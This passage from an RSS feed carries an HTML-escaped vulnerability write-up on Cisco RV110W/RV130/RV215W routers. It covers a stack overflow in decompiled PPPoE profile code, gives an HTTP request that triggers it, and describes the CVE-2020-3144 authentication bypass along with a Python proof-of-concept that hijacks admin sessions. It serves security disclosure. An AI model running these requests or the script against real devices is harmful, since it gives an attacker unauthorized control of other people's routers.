            &lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; %s(%d),&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;            now_idx=[%s]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;validate_wizard_pppoe_profile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x617a6977&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;uStack352&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x705f6472&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;uStack348&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x69666f72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;uStack344&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x315f656c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_154&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack323&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// __s2 is copied into an array without bound checks,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;triggering&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stack&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;overflow&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack259&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack856&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_74&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_78&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_c0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_7c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_70&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;atoi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;set_pppoe_profile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;nvram_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pppoe_select_profile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It is possible to trigger one of the stack buffer overflow above with an authenticated request such as the one
below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /apply.cgi;session_id=b37f0e917e54a1af0e1d7a0027d9de5d HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/apply.cgi;session_id=79f76000d1a3c29cef38c6dd14f25c0e
Content-Type: application/x-www-form-urlencoded
Content-Length: 1812
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

submit_button=wan&amp;amp;change_action=&amp;amp;submit_type=&amp;amp;ppp_passwd=dGVzdA==&amp;amp;wizard_pppoe_pname=AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;amp;gui_action=Apply&amp;amp;pppoe_select
_profile=0&amp;amp;wait_time=20&amp;amp;chg_flg=0wantag_enable=0&amp;amp;lan_ipaddr=192.168.1.1&amp;amp;wan_proto=pppoe&amp;amp;
ppp_demand=&amp;amp;_pppoe_select_profile=0&amp;amp;mtu_enable=0&amp;amp;webpage_end=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;cve-2020-3144---cisco-rv110wrv130rv130rv215w-routers-authentication-bypass&quot;&gt;CVE-2020-3144 - Cisco RV110W/RV130/RV130/RV215W Routers Authentication Bypass&lt;/h3&gt;

&lt;h4 id=&quot;summary-3&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;A vulnerability in the web-based management interface of the Cisco RV110W/RV130W/RV215W Wireless-N
Multifunction VPN Routers could allow an unauthenticated, remote attacker to gain unauthorized access to
the web-based management interface.&lt;/p&gt;

&lt;h4 id=&quot;impact-3&quot;&gt;Impact&lt;/h4&gt;

&lt;p&gt;An unauthenticated user can gain unauthorized access to the router’s web-based management interface.&lt;/p&gt;

&lt;h4 id=&quot;affected-systems-3&quot;&gt;Affected Systems&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;RV110W Wireless-N Multifunction VPN Router up to version 1.2.2.4 included&lt;/li&gt;
  &lt;li&gt;RV130 Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
  &lt;li&gt;RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
  &lt;li&gt;RV215W Wireless-N Multifunction VPN Router up to version 1.3.1.4 included&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;description-3&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;When an administrator logs into the device administrative interface and that a session is already opened, the
UI displays a message asking if the user wants to disconnects the already opened session. When the admin
clicks “OK”, the following request is sent:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /login.cgi HTTP/1.1
Host: 192.168.1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1812
Connection: close
submit_button=login&amp;amp;submit_type=continue&amp;amp;gui_action=gozilla_cgi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The server then proceeds and provides a valid session to the end user.&lt;/p&gt;

&lt;p&gt;A malicious attacker can take advantage of the fact that the confirmation requests is neither authenticated
nor bound to the legitimate administrator’s source IP to hijack its session.&lt;/p&gt;

&lt;p&gt;By constantly sending confirmation requests in a loop, if a request happens to be received between an
administrator authentication request and authentication confirmation, the attacker will successfully hijack that
session.&lt;/p&gt;

&lt;p&gt;The Python script below is a proof of concept demonstrating the issue. Run it in the background and try to
authenticate twice on the device’s web administration interface to see how the session is successfully
hijacked.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;submit_button&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;submit_type&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;gui_action&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;gozila_cgi&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;https://192.168.1.1/login.cgi&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Login Page&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;sessionid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;findall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;session_id=([^\&quot;]+)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Successfully hijacked admin session. Session id is
            {}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessionid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</description>
        <pubDate>Tue, 14 Jul 2020 18:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/exploitdev/2020/07/14/breaking-cisco-rv-again/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/exploitdev/2020/07/14/breaking-cisco-rv-again/</guid>
      </item>
    
  </channel>
</rss>
